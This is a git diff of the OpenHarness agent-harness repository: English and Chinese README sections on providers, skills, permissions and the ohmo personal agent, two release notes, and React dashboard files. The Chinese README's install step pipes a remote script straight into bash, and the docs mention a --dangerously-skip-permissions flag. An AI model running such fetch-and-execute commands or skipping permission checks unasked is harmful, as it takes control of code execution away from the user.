| **Moonshot / Kimi** | `https://api.moonshot.cn/anthropic` | `kimi-k2.5` |
| **Zhipu / GLM** | custom Anthropic-compatible endpoint | `glm-4.5` |
| **MiniMax** | custom Anthropic-compatible endpoint | `minimax-m1` |
#### OpenAI-Compatible API
Any provider implementing the OpenAI `/v1/chat/completions` style API works:
| Backend | Base URL | Example models |
|---------|----------|----------------|
| **OpenAI** | `https://api.openai.com/v1` | `gpt-5.4`, `gpt-4.1` |
| **OpenRouter** | `https://openrouter.ai/api/v1` | provider-specific |
| **Alibaba DashScope** | `https://dashscope.aliyuncs.com/compatible-mode/v1` | `qwen3.5-flash`, `qwen3-max`, `deepseek-r1` |
| **DeepSeek** | `https://api.deepseek.com` | `deepseek-chat`, `deepseek-reasoner` |
| **GitHub Models** | `https://models.inference.ai.azure.com` | `gpt-4o`, `Meta-Llama-3.1-405B-Instruct` |
| **SiliconFlow** | `https://api.siliconflow.cn/v1` | `deepseek-ai/DeepSeek-V3` |
| **NVIDIA NIM** | `https://integrate.api.nvidia.com/v1` | `openai/gpt-oss-120b`, `nvidia/llama-3.3-nemotron-super-49b-v1` |
| **Google Gemini** | `https://generativelanguage.googleapis.com/v1beta/openai` | `gemini-2.5-flash`, `gemini-2.5-pro` |
| **Groq** | `https://api.groq.com/openai/v1` | `llama-3.3-70b-versatile` |
| **Ollama (local)** | `http://localhost:11434/v1` | any local model |
### Advanced Profile Management
```bash
# List saved workflows
oh provider list
# Switch the active workflow
oh provider use codex
# Add your own compatible endpoint
oh provider add my-endpoint \
--label "My Endpoint" \
--provider openai \
--api-format openai \
--auth-source openai_api_key \
--model my-model \
--base-url https://example.com/v1
```
For custom compatible endpoints, OpenHarness can bind credentials per profile instead of forcing every Anthropic-compatible or OpenAI-compatible backend to share the same API key.
### Ollama (Local Models)
Run local models through Ollama's OpenAI-compatible endpoint:
```bash
# Add an Ollama provider profile
oh provider add ollama \
--label "Ollama" \
--provider Ollama \
--api-format openai \
--auth-source openai_api_key \
--model glm-4.7-flash:q8_0 \
--base-url http://localhost:11434/v1
```
```
Saved provider profile: ollama
```
```bash
# Activate and verify
oh provider use ollama
```
```
Activated provider profile: ollama
```
```bash
oh provider list
```
```
claude-api: Anthropic-Compatible API [ready]
...
moonshot: Moonshot (Kimi) [missing auth]
auth=moonshot_api_key model=kimi-k2.5 base_url=https://api.moonshot.cn/v1
* ollama: Ollama [ready]
auth=openai_api_key model=glm-4.7-flash:q8_0 base_url=http://localhost:11434/v1
```
### GitHub Copilot Format (`--api-format copilot`)
Use your existing GitHub Copilot subscription as the LLM backend. Authentication uses GitHub's OAuth device flow — no API keys needed.
```bash
# One-time login (opens browser for GitHub authorization)
oh auth copilot-login
# Then launch with Copilot as the provider
uv run oh --api-format copilot
# Or via environment variable
export OPENHARNESS_API_FORMAT=copilot
uv run oh
# Check auth status
oh auth status
# Remove stored credentials
oh auth copilot-logout
```
| Feature | Details |
|---------|---------|
| **Auth method** | GitHub OAuth device flow (no API key needed) |
| **Token management** | Automatic refresh of short-lived session tokens |
| **Enterprise** | Supports GitHub Enterprise via `--github-domain` flag |
| **Models** | Uses Copilot's default model selection |
| **API** | OpenAI-compatible chat completions under the hood |
---
## 🏗️ Harness Architecture
@@ -256,6 +486,20 @@ while True:
The model decides **what** to do. The harness handles **how** — safely, efficiently, with full observability.
### Harness Flow
```mermaid
flowchart LR
U[User Prompt] --> C[CLI or React TUI]
C --> R[RuntimeBundle]
R --> Q[QueryEngine]
Q --> A[Anthropic-compatible API Client]
A -->|tool_use| T[Tool Registry]
T --> P[Permissions + Hooks]
P --> X[Files Shell Web MCP Tasks]
X --> Q
```
---
## ✨ Features
@@ -297,7 +541,31 @@ Available Skills:
- ... 40+ more
```
**Compatible with [anthropics/skills](https://github.com/anthropics/skills)** — just copy `.md` files to `~/.openharness/skills/`.
Skills can live in bundled, user, ohmo, project, or plugin locations. User-level skills are loaded from:
```text
~/.openharness/skills/<skill>/SKILL.md
~/.claude/skills/<skill>/SKILL.md
~/.agents/skills/<skill>/SKILL.md
```
Project-level skills are enabled by default and are discovered from the current working directory up to the git root:
```text
<project>/.openharness/skills/<skill>/SKILL.md
<project>/.agents/skills/<skill>/SKILL.md
<project>/.claude/skills/<skill>/SKILL.md
```
Disable project skills for untrusted repositories with:
```bash
oh config set allow_project_skills false
```
Use `/skills` to list loaded skills with their source and path. User-invocable skills can be run directly as slash commands, for example `/deploy staging`.
**Compatible with [anthropics/skills](https://github.com/anthropics/skills)** — use the `SKILL.md` directory layout above.
### 🔌 Plugin System
@@ -319,6 +587,16 @@ oh plugin install <source>
oh plugin enable <name>
```
### 🤝 Ecosystem Workflows
OpenHarness is useful as a lightweight harness layer around Claude-style tooling conventions:
- **OpenClaw-oriented workflows** can reuse Markdown-first knowledge and command-driven collaboration patterns.
- **Claude-style plugins and skills** stay portable because OpenHarness keeps those formats familiar.
- **ClawTeam-style multi-agent work** maps well onto the built-in team, task, and background execution primitives.
For concrete usage ideas instead of generic claims, see [`docs/SHOWCASE.md`](docs/SHOWCASE.md).
### 🛡️ Permissions
Multi-level safety with fine-grained control:
@@ -363,9 +641,65 @@ Permissions: --permission-mode, --dangerously-skip-permissions
Context: -s/--system-prompt, --append-system-prompt, --settings
Advanced: -d/--debug, --mcp-config, --bare
Subcommands: oh mcp | oh plugin | oh auth
Subcommands: oh setup | oh provider | oh auth | oh mcp | oh plugin
```
### 🧑‍💼 ohmo Personal Agent
`ohmo` is a personal-agent app built on top of OpenHarness. It is packaged alongside `oh`, with its own workspace and gateway:
```bash
# Initialize personal workspace
ohmo init
# Configure gateway channels and pick a provider profile
ohmo config
# Run the personal agent
ohmo
# Run the gateway in foreground
ohmo gateway run
# Check or restart the gateway
ohmo gateway status
ohmo gateway restart
```
Key concepts:
- `~/.ohmo/`
- personal workspace root
- `soul.md`
- long-term agent personality and behavior
- `identity.md`
- who `ohmo` is
- `user.md`
- user profile and preferences
- `BOOTSTRAP.md`
- first-run landing ritual
- `memory/`
- personal memory
- `gateway.json`
- selected provider profile and channel configuration
`ohmo config` uses the same workflow language as `oh setup`, so you can point the personal-agent gateway at:
- `Anthropic-Compatible API`
- `Claude Subscription`
- `OpenAI-Compatible API`
- `Codex Subscription`
- `GitHub Copilot`
`ohmo init` creates the home workspace once. After that, use `ohmo config` to update provider and channel settings; if the gateway is already running, the config flow can restart it for you.
Currently `ohmo init` / `ohmo config` can guide channel setup for:
- Telegram
- Slack
- Discord
- Feishu
---
## 📊 Test Results
@@ -445,6 +779,20 @@ Add commands in `commands/*.md`, hooks in `hooks/hooks.json`, agents in `agents/
---
## 🌍 Showcase
OpenHarness is most useful when treated as a small, inspectable harness you can adapt to a real workflow:
- **Repo coding assistant** for reading code, patching files, and running checks locally.
- **Headless scripting tool** for `json` and `stream-json` output in automation flows.
- **Plugin and skill testbed** for experimenting with Claude-style extensions.
- **Multi-agent prototype harness** for task delegation and background execution.
- **Provider comparison sandbox** across Anthropic-compatible backends.
See [`docs/SHOWCASE.md`](docs/SHOWCASE.md) for short, reproducible examples.
---
## 🤝 Contributing
OpenHarness is a **community-driven research project**. We welcome contributions in:
@@ -462,11 +810,27 @@ OpenHarness is a **community-driven research project**. We welcome contributions
```bash
# Development setup
git clone https://github.com/HKUDS/OpenHarness.git
cd openharness
cd OpenHarness
uv sync --extra dev
uv run pytest -q # Verify everything works
```
Useful contributor entry points:
- [`CONTRIBUTING.md`](CONTRIBUTING.md) for setup, checks, and PR expectations
- [`CHANGELOG.md`](CHANGELOG.md) for user-visible changes
- [`docs/SHOWCASE.md`](docs/SHOWCASE.md) for real-world usage patterns worth documenting
---
## 🔧 Troubleshooting
### Backspace key in macOS Terminal.app
OpenHarness handles both common terminal delete sequences, including the raw `DEL` byte (`0x7f`) that macOS Terminal.app sends for Backspace. If Backspace inserts spaces or visible control characters instead of deleting text, upgrade OpenHarness first.
For older versions that do not include this fix, use a terminal that sends a standard Backspace sequence or adjust your terminal keyboard profile as a temporary workaround.
---
## 📄 License
@@ -483,6 +847,16 @@ MIT — see [LICENSE](LICENSE).
<em>The model is the agent. The code is the harness.</em>
</p>
<div align="center">
<a href="https://star-history.com/#HKUDS/OpenHarness&Date">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=HKUDS/OpenHarness&type=Date&theme=dark" />
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=HKUDS/OpenHarness&type=Date" />
<img alt="Star History Chart" src="https://api.star-history.com/svg?repos=HKUDS/OpenHarness&type=Date" style="border-radius: 15px; box-shadow: 0 0 30px rgba(0, 217, 255, 0.3);" />
</picture>
</a>
</div>
<p align="center">
<em> Thanks for visiting ✨ OpenHarness!</em><br><br>
<img src="https://visitor-badge.laobi.icu/badge?page_id=HKUDS.OpenHarness&style=for-the-badge&color=00d4ff" alt="Views">
+417
View File
@@ -0,0 +1,417 @@
# <img src="assets/logo.png" alt="OpenHarness" width="40" style="vertical-align: middle;"> `oh` — OpenHarness 中文说明
<p align="center">
<a href="README.md"><strong>English</strong></a> ·
<a href="README.zh-CN.md"><strong>简体中文</strong></a>
</p>
**OpenHarness** 是一个面向开源社区的 Agent Harness。它提供轻量、可扩展、可检查的 Agent 基础设施,包括:
- Agent loop
- tools / skills / plugins
- memory / session resume
- permissions / hooks
- multi-agent coordination
- provider workflows
- React TUI
- `ohmo` personal-agent app
---
## 最新更新
### Unreleased · Dry-run 安全预览
- 新增 `oh --dry-run`,可以在**不执行模型、不执行工具、不 spawn subagent** 的前提下,预览当前会话会使用的配置、skills、commands、tools 和 MCP 配置。
- Dry-run 会给出 `ready / warning / blocked` 结论,并直接告诉你下一步该做什么,例如先修认证、先修 MCP 配置,或者可以直接运行。
- 对普通 prompt,会给出可能命中的 skills / tools;对 slash command,会展示它更偏只读还是会改本地状态。
### 2026-04-06 · v0.1.2
- 新增统一配置入口 `oh setup`
- provider 配置从“auth -> provider -> model”收敛成 workflow 视角
- Anthropic/OpenAI 兼容接口支持 profile 级凭据,不再强制共用一把全局 key
- 新增 `ohmo` personal-agent app
- `ohmo` 使用 `~/.ohmo` 作为 home workspace,支持 gateway、bootstrap prompts 和交互式 channel 配置
---
## 快速开始
### 一键安装
```bash
curl -fsSL https://raw.githubusercontent.com/HKUDS/OpenHarness/main/scripts/install.sh | bash
```
常用安装参数:
- `--from-source`:从源码安装,适合贡献者
- `--with-channels`:一并安装 IM channel 依赖
例如:
```bash
curl -fsSL https://raw.githubusercontent.com/HKUDS/OpenHarness/main/scripts/install.sh | bash -s -- --from-source --with-channels
```
### 本地运行
```bash
git clone https://github.com/HKUDS/OpenHarness.git
cd OpenHarness
uv sync --extra dev
uv run oh
```
---
## 配置模型与 Provider
现在最推荐的入口是:
```bash
oh setup
```
`oh setup` 会按下面的顺序引导:
1. 选择一个 workflow
2. 如果需要,完成认证
3. 选择具体后端 preset
4. 确认模型
5. 保存并激活 profile
当前内置 workflow 包括:
- `Anthropic-Compatible API`
- `Claude Subscription`
- `OpenAI-Compatible API`
- `Codex Subscription`
- `GitHub Copilot`
### Anthropic-Compatible API
适合这类后端:
- Claude 官方 API
- Moonshot / Kimi
- Zhipu / GLM
- MiniMax
- 其他 Anthropic-compatible endpoint
### OpenAI-Compatible API
适合这类后端:
- OpenAI 官方 API
- OpenRouter
- DashScope
- DeepSeek
- GitHub Models
- SiliconFlow
- Google Gemini
- Groq
- Ollama
- 其他 OpenAI-compatible endpoint
### 常用命令
```bash
# 统一配置入口
oh setup
# 查看已有 workflow/profile
oh provider list
# 切换当前 workflow
oh provider use codex
# 查看认证状态
oh auth status
```
### 高级:添加自定义兼容接口
如果内置 preset 不够,可以直接新增 profile:
```bash
oh provider add my-endpoint \
--label "My Endpoint" \
--provider anthropic \
--api-format anthropic \
--auth-source anthropic_api_key \
--model my-model \
--base-url https://example.com/anthropic
```
这一版开始,兼容接口可以按 profile 绑定凭据。
也就是说,`Kimi``GLM``MiniMax` 这类 Anthropic-compatible 后端,不需要再共用一把全局 `anthropic` key。
---
## 交互模式与 TUI
运行:
```bash
oh
```
你会得到 React/Ink TUI,支持:
- `/` 命令选择器
- 交互式权限确认
- `/model` 模型切换
- `/permissions` 权限模式切换
- `/resume` 会话恢复
- `/provider` workflow 选择
非交互模式也支持:
```bash
oh -p "Explain this repository"
oh -p "List all functions in main.py" --output-format json
oh -p "Fix the bug" --output-format stream-json
```
### Dry-run 安全预览
如果你想先看 OpenHarness **会怎么跑**,但又不想真的执行模型或工具,可以用:
```bash
# 预览交互会话本身
oh --dry-run
# 预览一个普通 prompt
oh --dry-run -p "Review this bug fix and grep for failing tests"
# 预览 slash command
oh --dry-run -p "/plugin list"
# 输出结构化 JSON,方便脚本或 channel 使用
oh --dry-run -p "Explain this repository" --output-format json
```
Dry-run 的边界是明确的:
- **不会**调用模型
- **不会**执行 tools
- **不会**启动 subagent
- **不会**连接 MCP server
- **会**解析 settings、auth 状态、system prompt、skills、commands、tools,以及明显错误的 MCP 配置
Readiness 结论说明:
- `ready`:当前配置基本可直接运行
- `warning`:能解析会话,但仍有重要问题需要先处理,比如 MCP 配置错误或后续模型调用缺认证
- `blocked`:按当前状态直接运行会失败,比如 slash command 不存在,或者普通 prompt 无法解析 runtime client
Dry-run 输出里的 `next actions` 会直接给出下一步建议,例如:
- 先执行 `oh auth login`
- 先修或禁用坏掉的 MCP 配置
- 直接运行 `oh -p "..."` 或进入 `oh`
---
## Provider 兼容性概览
OpenHarness 现在把 provider 视为 **workflow + profile**,而不是只暴露底层协议名。
| Workflow | 说明 |
|----------|------|
| `Anthropic-Compatible API` | Anthropic 风格接口,适合 Claude/Kimi/GLM/MiniMax 等 |
| `Claude Subscription` | 复用本地 `~/.claude/.credentials.json` |
| `OpenAI-Compatible API` | OpenAI 风格接口,适合 OpenAI/OpenRouter/各种兼容网关 |
| `Codex Subscription` | 复用本地 `~/.codex/auth.json` |
| `GitHub Copilot` | GitHub Copilot OAuth workflow |
日常推荐用法:
```bash
oh setup
oh provider list
oh provider use <profile>
```
---
## `ohmo` Personal Agent
`ohmo` 是基于 OpenHarness 的 personal-agent app,不是 core 的一个 mode。
### 初始化
```bash
ohmo init
```
这会创建:
- `~/.ohmo/soul.md`
- `~/.ohmo/identity.md`
- `~/.ohmo/user.md`
- `~/.ohmo/BOOTSTRAP.md`
- `~/.ohmo/memory/`
- `~/.ohmo/gateway.json`
其中:
- `soul.md`:长期人格与行为原则
- `identity.md``ohmo` 自己是谁
- `user.md`:用户画像、偏好、关系信息
- `BOOTSTRAP.md`:首轮 landing / onboarding ritual
- `memory/`personal memory
- `gateway.json`gateway 的 profile 和 channel 配置
### 配置
```bash
ohmo config
```
`ohmo config` 会用和 `oh setup` 一致的 workflow 语言来配置 gateway,例如:
- `Anthropic-Compatible API`
- `Claude Subscription`
- `OpenAI-Compatible API`
- `Codex Subscription`
- `GitHub Copilot`
目前 `ohmo init` / `ohmo config` 已支持引导式配置这些 channel:
- Telegram
- Slack
- Discord
- Feishu
如果 gateway 已经在运行,配置完成后也可以直接选择是否重启。
### 运行
```bash
# 运行 personal agent
ohmo
# 前台运行 gateway
ohmo gateway run
# 查看 gateway 状态
ohmo gateway status
# 重启 gateway
ohmo gateway restart
```
---
## OpenHarness 的核心能力
### Agent Loop
- streaming tool-call cycle
- tool execution / observation / loop
- retry + exponential backoff
- token counting 与成本跟踪
### Tools / Skills / Plugins
- 43+ tools
- Markdown skills 按需加载
- 插件生态
- 兼容 `anthropics/skills`
- 兼容 Claude-style plugins
### Memory / Session
- `CLAUDE.md` 自动发现与注入
- `MEMORY.md` 持久记忆
- session resume
- auto-compact
### Governance
- 多级 permission mode
- path rules
- denied commands
- hooks
- interactive approval
### Multi-Agent
- subagent spawning
- team registry
- task lifecycle
- background task execution
---
## 常见命令
### `oh`
```bash
oh setup
oh provider list
oh provider use codex
oh auth status
oh -p "Explain this codebase"
oh
```
### `ohmo`
```bash
ohmo init
ohmo config
ohmo
ohmo gateway run
ohmo gateway status
ohmo gateway restart
```
---
## 测试
```bash
uv run pytest -q
python scripts/test_harness_features.py
python scripts/test_real_skills_plugins.py
```
---
## 贡献
欢迎贡献:
- tools
- skills
- plugins
- providers
- multi-agent coordination
- tests
- 文档与中文翻译
开发环境:
```bash
git clone https://github.com/HKUDS/OpenHarness.git
cd OpenHarness
uv sync --extra dev
uv run pytest -q
```
更多信息:
- [贡献指南](CONTRIBUTING.md)
- [更新日志](CHANGELOG.md)
- [Showcase](docs/SHOWCASE.md)
---
## License
MIT,见 [LICENSE](LICENSE)。
+66
View File
@@ -0,0 +1,66 @@
# v0.1.8 — Providers, ohmo Feishu Groups, and Safer Remotes
OpenHarness v0.1.8 is a stabilization and provider-expansion release. It adds more first-class provider workflows, improves ohmo's Feishu group experience, hardens remote-channel security, and fixes several Windows/MCP reliability issues.
## Highlights
- **New provider workflows**
- Added NVIDIA NIM as a built-in OpenAI-compatible provider using `NVIDIA_API_KEY`.
- Added ModelScope Inference API support.
- Added Qwen (DashScope), MiniMax, and Gemini provider profiles.
- Improved OpenAI-compatible API behavior, including explicit bearer authorization headers and `<think>` block filtering for compatible streaming responses.
- **ohmo Feishu group support**
- Added Feishu managed group creation flow for ohmo.
- Added gateway-scoped provider/model commands for chat-based operation.
- Improved group routing and mention policy so ohmo responds in shared Feishu groups only when explicitly addressed.
- Hardened Feishu attachment filename handling.
- **Security and remote-channel hardening**
- Kept sensitive config/auth/provider/model/ship commands local-only by default in remote channels.
- Kept bridge commands local-only by default.
- Added coverage for bridge spawn blocking and remote gateway security behavior.
- Rejected path traversal names during plugin uninstall.
- **Windows and shell reliability**
- Fixed Windows agent/subagent spawning by direct-executing teammate argv instead of shell-wrapping Python paths.
- Windows shell resolution now skips discovered `bash.exe` binaries that cannot actually run commands, falling back to PowerShell/cmd.
- Improved Windows gateway process lifecycle handling.
- Avoided shell execution when opening browsers on Windows.
- **MCP, tools, and stability**
- MCP startup now isolates failed servers instead of aborting the whole OpenHarness startup.
- Fixed subprocess stderr pipe deadlocks in grep/glob/bash/session runner paths.
- Bounded large tool results in conversation history and improved compaction under large/vision contexts.
- Improved skill frontmatter parsing with YAML `safe_load` for bundled and user skills.
- **TUI and UX fixes**
- Restored raw `DEL` backspace handling for macOS Terminal-style environments.
- Added better slash-command completion, markdown table rendering, spinner behavior, and escape interruption.
- Added image-to-text fallback support for text-only models and `--vision-model` override.
## External contributors
Thanks to the external contributors whose PRs are included in this release:
- @Litianhui888 — MCP startup isolation (#237)
- @Hinotoi-agent — remote command security hardening (#232, #209, #208, #198, #197)
- @nsxdavid — Windows agent spawn fix (#231)
- @voidborne-d — bundled skill frontmatter parsing (#229)
- @Mcy0618 — image-to-text fallback and ModelScope support (#227, #224)
- @WANG-Guangxin — invalid regex fallback fix (#219)
- @glitch-ux — Windows browser auth safety, async coordinator draining, autopilot shell safety, hook events (#217, #200, #188, #170)
- @Escapingbug — Windows gateway lifecycle and Telegram proxy config fixes (#193, #192)
- @ZevGit — Qwen provider profile (#207)
- @yl-jiang — subprocess stderr deadlock fixes and OpenAI-compatible think-block filtering (#205, #174)
- @he-yufeng — TUI slash-command completion polish (#185)
- @powAu3 — raw DEL backspace fix (#182)
- @flobo3 — shell subprocess stdin default fix (#179)
## Install
```bash
pip install --upgrade openharness-ai==0.1.8
```
Or run the installer from the repository docs.
+32
View File
@@ -0,0 +1,32 @@
# v0.1.9 — Skill Workflows and Provider Key Updates
OpenHarness v0.1.9 is a small follow-up release after v0.1.8 focused on making skills easier to create and invoke, plus fixing provider API key updates.
## Highlights
- **Bundled skill creator**
- Added a bundled `skill-creator` skill for creating, improving, and verifying OpenHarness/ohmo skills.
- This makes repeatable workflows easier to capture as first-class skills.
- **User-invocable skill slash commands**
- Skills marked as user-invocable can now be triggered directly with slash commands.
- Slash-invoked skills support user arguments and can request a model override through skill metadata.
- **Provider API key update fix**
- `oh setup` now lets users update the API key for an already-configured API-key provider profile.
- `oh provider edit <profile> --api-key <key>` can replace a saved profile key directly.
- `oh provider add ... --api-key <key>` can store a key while creating a provider profile.
## Fixes
- Fixed issue #238, where users could change a configured provider model but had no supported path to update the saved API key.
## Install
```bash
pip install --upgrade openharness-ai==0.1.9
```
## Contributors
This release is primarily a maintainer follow-up release. Thanks to the users and contributors who reported and validated the provider key update workflow, especially the reporter of #238.
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 994 KiB

+2
View File
@@ -0,0 +1,2 @@
node_modules
dist
+15
View File
@@ -0,0 +1,15 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Autopilot Kanban</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&display=swap" rel="stylesheet" />
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
File diff suppressed because it is too large Load Diff
+22
View File
@@ -0,0 +1,22 @@
{
"name": "autopilot-dashboard",
"private": true,
"version": "0.1.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc -b && vite build",
"preview": "vite preview"
},
"dependencies": {
"react": "^19.1.0",
"react-dom": "^19.1.0"
},
"devDependencies": {
"@types/react": "^19.1.2",
"@types/react-dom": "^19.1.2",
"@vitejs/plugin-react": "^4.4.1",
"typescript": "~5.8.3",
"vite": "^6.3.2"
}
}
+59
View File
@@ -0,0 +1,59 @@
{
"generated_at": 1776338766.0050209,
"repo_name": "OpenHarness-new",
"repo_path": "/home/tangjiabin/OpenHarness-new",
"focus": null,
"counts": {
"queued": 0,
"accepted": 0,
"preparing": 0,
"running": 0,
"verifying": 0,
"pr_open": 0,
"waiting_ci": 0,
"repairing": 0,
"completed": 0,
"merged": 0,
"failed": 0,
"rejected": 0,
"superseded": 0
},
"status_order": [
"queued",
"accepted",
"preparing",
"running",
"verifying",
"pr_open",
"waiting_ci",
"repairing",
"completed",
"merged",
"failed",
"rejected",
"superseded"
],
"columns": {
"queued": [],
"accepted": [],
"preparing": [],
"running": [],
"verifying": [],
"pr_open": [],
"waiting_ci": [],
"repairing": [],
"completed": [],
"merged": [],
"failed": [],
"rejected": [],
"superseded": []
},
"cards": [],
"journal": [],
"policies": {
"autopilot": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/autopilot_policy.yaml",
"verification": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/verification_policy.yaml",
"release": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/release_policy.yaml"
},
"active_context": "# Active Repo Context\n\nGenerated at: 2026-04-16 11:05:49 UTC\n\n## Current Task Focus\n- No active repo task focus yet.\n\n## In Progress\n- None.\n\n## Next Up\n- No queued items.\n\n## Recently Completed\n- None yet.\n\n## Recent Failures\n- None.\n\n## Recent Repo Journal\n- Journal is empty.\n\n## Policies\n- Autopilot: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/autopilot_policy.yaml\n- Verification: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/verification_policy.yaml\n- Release: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/release_policy.yaml"
}
+290
View File
@@ -0,0 +1,290 @@
import { useEffect, useState } from "react";
import { HeroBackground } from "./components/HeroBackground";
import { PipelineAnimation } from "./components/PipelineAnimation";
import type { Snapshot, TaskCard, JournalEntry } from "./types";
import { STATUS_LABELS, STATUS_COLORS, KANBAN_GROUPS } from "./types";
/* ── Helpers ─────────────────────────────────── */
function fmtAgo(ts?: number): string {
if (!ts) return "-";
const delta = Math.max(0, Math.floor(Date.now() / 1000 - ts));
if (delta < 60) return `${delta}s ago`;
if (delta < 3600) return `${Math.floor(delta / 60)}m ago`;
if (delta < 86400) return `${Math.floor(delta / 3600)}h ago`;
return `${Math.floor(delta / 86400)}d ago`;
}
function statusBadgeClass(status: string): string {
if (["running", "completed", "merged", "preparing"].includes(status)) return "badge-teal";
if (["repairing"].includes(status)) return "badge-orange";
if (["accepted", "pr_open"].includes(status)) return "badge-violet";
if (["failed", "rejected"].includes(status)) return "badge-red";
if (["verifying", "waiting_ci"].includes(status)) return "badge-blue";
if (["superseded"].includes(status)) return "badge-amber";
return "badge-gray";
}
/* ── Card Component ──────────────────────────── */
function CardView({ card }: { card: TaskCard }) {
const labels = [...(card.labels || []), card.source_kind].filter(Boolean);
const verification = (card.metadata?.verification_steps || [])
.map((step) => `${step.status} · ${step.command}`)
.slice(0, 2)
.join(" | ");
const borderColor = STATUS_COLORS[card.status] || "#333";
return (
<article
className="card"
style={{ "--card-accent": borderColor } as React.CSSProperties}
>
<div className="card-meta">
<span>{card.id}</span>
<span className={`badge ${statusBadgeClass(card.status)}`}>
{STATUS_LABELS[card.status] || card.status}
</span>
</div>
<h3>{card.title}</h3>
{card.body && (
<p className="card-body">{card.body.slice(0, 260)}</p>
)}
{labels.length > 0 && (
<div className="card-tags">
{labels.map((tag, i) => (
<span key={i} className="tag">{tag}</span>
))}
</div>
)}
<div className="card-footer">
<div>
score {card.score} · updated {fmtAgo(card.updated_at)}
{card.source_ref ? ` · ref ${card.source_ref}` : ""}
</div>
<div>{card.metadata?.last_note || "no status note yet"}</div>
{(verification || card.metadata?.last_ci_summary || card.metadata?.last_failure_summary || card.metadata?.human_gate_pending) && (
<div>
{verification || card.metadata?.last_ci_summary || card.metadata?.last_failure_summary ||
(card.metadata?.human_gate_pending ? "verification passed; human gate pending" : "")}
</div>
)}
</div>
</article>
);
}
/* ── Grouped Column Component ────────────────── */
function GroupColumnView({ label, color, cards }: {
label: string;
color: string;
cards: TaskCard[];
}) {
return (
<section className="column">
<div className="column-header">
<div className="column-title-row">
<span className="column-dot" style={{ background: color }} />
<h2>{label}</h2>
</div>
<span className="column-count">{cards.length}</span>
</div>
<div className="cards">
{cards.length > 0
? cards.map((card) => <CardView key={card.id} card={card} />)
: <div className="empty">No cards.</div>
}
</div>
</section>
);
}
/* ── Journal Component ───────────────────────── */
function JournalView({ entries }: { entries: JournalEntry[] }) {
return (
<section className="journal">
<div className="journal-header">
<span style={{ color: "var(--accent)", fontSize: 10, letterSpacing: 2, fontWeight: 700 }}>
//
</span>
<h2>RECENT JOURNAL</h2>
</div>
<div className="journal-list">
{entries.length > 0
? entries.slice().reverse().map((entry, i) => (
<article key={i} className="journal-item">
<time>
{new Date(entry.timestamp * 1000)
.toISOString()
.replace("T", " ")
.replace(".000Z", " UTC")}
</time>
<div>
<span className="kind">{entry.kind}</span>
{entry.task_id && <span className="task-ref"> [{entry.task_id}]</span>}
</div>
<div className="summary">{entry.summary}</div>
</article>
))
: <div className="empty">Journal is empty.</div>
}
</div>
</section>
);
}
/* ── Main App ────────────────────────────────── */
export function App() {
const [snapshot, setSnapshot] = useState<Snapshot | null>(null);
const [filter, setFilter] = useState("");
const [error, setError] = useState<string | null>(null);
useEffect(() => {
fetch("./snapshot.json", { cache: "no-store" })
.then((r) => r.json())
.then(setSnapshot)
.catch((e) => setError(String(e)));
}, []);
if (error) {
return (
<div className="shell" style={{ paddingTop: 80 }}>
<div className="empty">Failed to load snapshot.json: {error}</div>
</div>
);
}
if (!snapshot) {
return (
<div className="shell" style={{ paddingTop: 80, textAlign: "center" }}>
<div style={{ color: "var(--accent)", fontSize: 12, letterSpacing: 2 }}>
LOADING SNAPSHOT...
</div>
</div>
);
}
const counts = snapshot.counts || {};
const normalizedFilter = filter.trim().toLowerCase();
// Group cards into 4 kanban columns
const groupedColumns = KANBAN_GROUPS.map((group) => {
const allCards = group.statuses.flatMap((s) => snapshot.columns?.[s] || []);
const cards = allCards.filter((card) => {
if (!normalizedFilter) return true;
const haystack = [
card.id, card.title, card.body, card.source_kind, card.source_ref,
...(card.labels || []), ...(card.score_reasons || []),
].join(" ").toLowerCase();
return haystack.includes(normalizedFilter);
});
return { ...group, cards };
});
const inProgress = (counts.preparing || 0) + (counts.running || 0) +
(counts.verifying || 0) + (counts.waiting_ci || 0) +
(counts.repairing || 0) + (counts.accepted || 0) + (counts.pr_open || 0);
const completed = (counts.completed || 0) + (counts.merged || 0);
const failed = (counts.failed || 0) + (counts.rejected || 0);
const generated = new Date((snapshot.generated_at || 0) * 1000)
.toISOString().replace("T", " ").replace(".000Z", " UTC");
return (
<>
{/* ── Hero ─────────────────────────── */}
<section className="hero">
<div className="hero-bg">
<HeroBackground />
</div>
<div className="hero-content">
<div className="hero-main">
<div className="eyebrow">// AUTOPILOT_KANBAN</div>
<h1>
OpenHarness<br />
<span className="accent">SELF-EVOLUTION</span>
</h1>
<p className="hero-sub">
Kanban for OpenHarness self-evolution.
</p>
<div className="focus-box">
<div className="focus-label">// CURRENT_FOCUS</div>
<div className="focus-text">
{snapshot.focus
? `[${snapshot.focus.status}] ${snapshot.focus.title} · score=${snapshot.focus.score} · ${snapshot.focus.source_kind}`
: "No active task focus yet."}
</div>
</div>
</div>
<div className="hero-side">
<div className="hero-timestamp">
Generated from repo state at {generated}
</div>
<div className="pipeline-viz">
<PipelineAnimation />
</div>
</div>
</div>
</section>
<div className="shell">
{/* ── Stats Bar ──────────────────── */}
<section className="stats-bar">
<div className="stat">
<div className="stat-label" style={{ color: "#64748b" }}>TO DO</div>
<div className="stat-value">{counts.queued || 0}</div>
<div className="stat-sub">queued + accepted</div>
</div>
<div className="stat">
<div className="stat-label teal">IN PROGRESS</div>
<div className="stat-value">{inProgress}</div>
<div className="stat-sub">active pipeline</div>
</div>
<div className="stat">
<div className="stat-label" style={{ color: "#3b82f6" }}>IN REVIEW</div>
<div className="stat-value">
{(counts.verifying || 0) + (counts.pr_open || 0) + (counts.waiting_ci || 0)}
</div>
